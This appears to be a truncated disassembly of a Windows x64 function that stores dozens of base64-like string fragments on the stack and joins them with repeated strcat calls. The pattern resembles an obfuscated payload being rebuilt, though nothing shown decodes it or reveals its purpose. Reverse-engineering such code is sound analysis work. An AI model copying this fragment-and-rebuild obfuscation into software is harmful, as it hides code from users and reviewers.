mov qword [rbp - 0x3b0], rax
lea rax, str.FJhVjFaalpVUmFhbGhJWnpOWk1YZzBUVlJLWTJWRWJHaFlTR2h0V2xaNE5GbFViR05sUkZVeldFaG5ORmxXZURSUFJFWmpaVV
mov qword [rbp - 0x3b8], rax
lea rax, str.JTYTFoSWFHMWFWbmcwVDBkS1kyVkVVVEpZU0dodFdURjRORmt5V21ObFJGazFXRWhuTlU1R
mov qword [rbp - 0x3c0], rax
lea rax, str.2VEUk9WRlpqWlVSbk1WaElhR2xaTVhnM
mov qword [rbp - 0x3c8], rax
lea rax, str.FRWUktZMlZIUlhoWVNHaHRUVEY0TkUxRWFHTmxSMGt6V0Vob2FGcFdlRFJPVkVK
mov qword [rbp - 0x3d0], rax
lea rax, str.alpVUk9hVmhJWjNwUFZuZzBX
mov qword [rbp - 0x3d8], rax
lea rax, str.bGRPWTJWRVdUTllTR2hvVDFaNE5FNUVhR05sUkdSb1
mov qword [rbp - 0x3e0], rax
lea rax, str.dFaG5NMDlXZURSYVIxSmpaVVJhYWxoSVp6Uk9WbmcwV2tkR1kyVkVaR3RZU0docVRXeDR
mov qword [rbp - 0x3e8], rax
lea rax, str.ORTlVVW1ObFJGWnNX
mov qword [rbp - 0x3f0], rax
lea rax, str.RWhvYVUweGVEUk5iVkpqWlVSbmVGaEla
mov qword [rbp - 0x3f8], rax
lea rax, str.M2xQVm5nMFQwZFNZMlZI
mov qword [rbp - 0x400], rax
lea rax, str.Vm1wWVNHaHBXV3g0TkZsc
mov qword [rbp - 0x408], rax
lea rax, str.VVtTmxSMVpvV0Vob2FsbFdlRFJhUjBaalpVUnNhMWhJWjNwWk1YZzB
mov qword [rbp - 0x410], rax
lea rax, str.UbTFPWTJWSFRUTllTR2hyV1d4NE5GcEhXbU5sUjFFeldFaG5N
mov qword [rbp - 0x418], rax
lea rax, str.VTlHZURSTlZGWmpaVVJyTTFoSVp6SmFWbmcwVGxSU1kyV
mov qword [rbp - 0x420], rax
lea rax, str.kVhRzFZU0djMV
mov qword [rbp - 0x428], rax
lea rax, str.drWjRORnBxVG1ObFIwa3pXRWhuTTAxc2VEUlpNazVqWlVkR2JGaElaek5hYkhnMFdtMVdZMlZ
mov qword [rbp - 0x430], rax
lea rax, str.FVlRSWVNHY3dXV3g0TkUxSFVtTmxSRWswV0Vob2EwMVdlRFJOUkVK
mov qword [rbp - 0x438], rax
lea rax, str.alpVUlJlRmhJYUdsYVZuZzBXbXBDWTJWSFNURll
mov qword [rbp - 0x440], rax
lea rax, str.TR2hvVFd4NE5FNVVXbU5sUjFwdFdFaG9hMDVXZ
mov qword [rbp - 0x448], rax
lea rax, str.URST1JHaGpaVVJOZUZoSWFHcFBWbmcwV1cxR1kyVkVRWGRZU0dkM
mov qword [rbp - 0x450], rax
lea rax, str.1RVWjRORTVFUW1ObFJFRjNXRWhuTUUxV2VEUlphbWhqWlVSQmQxaElaM2hOUm5nMFRVUkNZMlZFUV
mov qword [rbp - 0x458], rax
lea rax, str.hkWVNHY3dUVlo0TkZscWJHTmxSRkYzV0VobmQwMUdlRFJOUkVKalpVUkJkMWhJW
mov qword [rbp - 0x460], rax
lea rax, str.npCTlZuZzBX
mov qword [rbp - 0x468], rax
lea rax, str.VzFHWTJWRVZ
mov qword [rbp - 0x470], rax
lea rax, str.UUllTR2hvVGtaNE5FNVVUbU5sUjFVeFdFaG9iVnBzZURSYVJGWmpaVVJSTkZoSVp6Vk5NWGcwVGxST1kyV
mov qword [rbp - 0x478], rax
lea rax, str.kVWWHBZU0djd1QwWjRORTlFYkdObFIxVXpXRWhuTUU5R2VEUlBSR3
mov qword [rbp - 0x480], rax
lea rax, str.hqWlVkWmVGaElaekJQUm5
mov qword [rbp - 0x488], rax
lea rax, str.nMFQwUnNZMlZIVW1oWVNHY3dUVlo0TkZscWFHTmxSRUYzV0VobmVVMUdlRFJOUkVKalpVUkJkMWhJWnpCUFZuZzBU
mov qword [rbp - 0x490], rax
lea rax, str.MFJzWTJWSFdUVllTR2N3VFZaNE5GbHRSbU5sUkVWNVdFaG5OVTVzZURSUFJHeGp
mov qword [rbp - 0x498], rax
lea rax, str.aVWRWZVZoSWFHMWFiSGcwV2tSV1kyVkVVVFJZU0djMFRURjRORmw2VW1ObFJFbDN
mov qword [rbp - 0x4a0], rax
lea rax, str.XRWhuTkU1V2VEUlpla0pqWlVSak1GaElhR2xPYkhnMFRtcGFZMlZFYUds
mov qword [rbp - 0x4a8], rax
lea rax, str.WVNHZDNUakY0TkU1RWFHTmxSRUY0V0Vob2FrMHhlRFJQUkZaalpVZE5kMWhJWnpOT1ZuZzBXa1JrWTJWRV
mov qword [rbp - 0x4b0], rax
lea rax, str.ZUUllTR2N4VDBaNE5FNVVhR05sUkZFMFdFaG5kMDVXZURSTlJFSmpaVVJCZDFoSVozZE5SbmcwVFVSQ1kyVkVWWG
mov qword [rbp - 0x4b8], rax
lea rax, str.RZU0docVRURjRORnBVYUdObFJHeHRXRWhvYlZwR2VEUmFiVnBqWlVkYWJWaElaM3BOVm5n
mov qword [rbp - 0x4c0], rax
lea rax, str.MFRYcHNZMlZFVFhsWVNHZDVXbFo0TkUxNlJt
mov qword [rbp - 0x4c8], rax
lea rax, str.TmxSRTB5V0VobmVrOUdlRFJOYlZaalpVUk5OVmhJWjNwUFJuZzBUVzFXWTJWRVRYaFlTR2Q2VFR
mov qword [rbp - 0x4d0], rax
lea rax, str.GNE5FMTZRbU5sUkVGM1dFaG5lRTFzZURSTmVsSmpaVVJWTWxoSVp6TlBRVDA5
mov qword [rbp - 0x4d8], rax
mov eax, 0
mov byte [rbp - 0xd1f], al
movabs rax, 0x846
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0xd1e]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x18]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x28]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x38]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x40]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x48]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x50]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x58]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x60]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x68]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x70]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x78]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x80]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x88]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x90]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x98]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xa0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xa8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xb0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xb8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xc0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xc8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xd0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xd8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xe0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xe8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xf0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0xf8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x100]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x108]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x110]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x118]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x120]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x128]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x130]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x138]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x140]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x148]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x150]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x158]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x160]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x168]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x170]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x178]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x180]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x188]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x190]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x198]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1a0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1a8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1b0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1b8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1c0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1c8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1d0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1d8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1e0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1e8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1f0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x1f8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x200]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x208]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x210]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x218]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x220]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x228]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x230]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x238]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x240]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x248]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x250]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x258]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x260]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x268]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x270]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x278]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x280]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x288]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x290]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x298]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2a0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2a8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2b0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2b8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2c0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2c8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2d0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2d8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2e0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2e8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2f0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x2f8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x300]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x308]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x310]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x318]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x320]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x328]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x330]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x338]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x340]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x348]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x350]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x358]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x360]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x368]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x370]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x378]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x380]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x388]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x390]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x398]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3a0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3a8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3b0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3b8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3c0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3c8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3d0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3d8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3e0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3e8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3f0]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x3f8]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x400]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x408]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x410]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x418]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x420]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x428]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x430]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x438]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x440]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x448]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x450]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x458]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x460]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
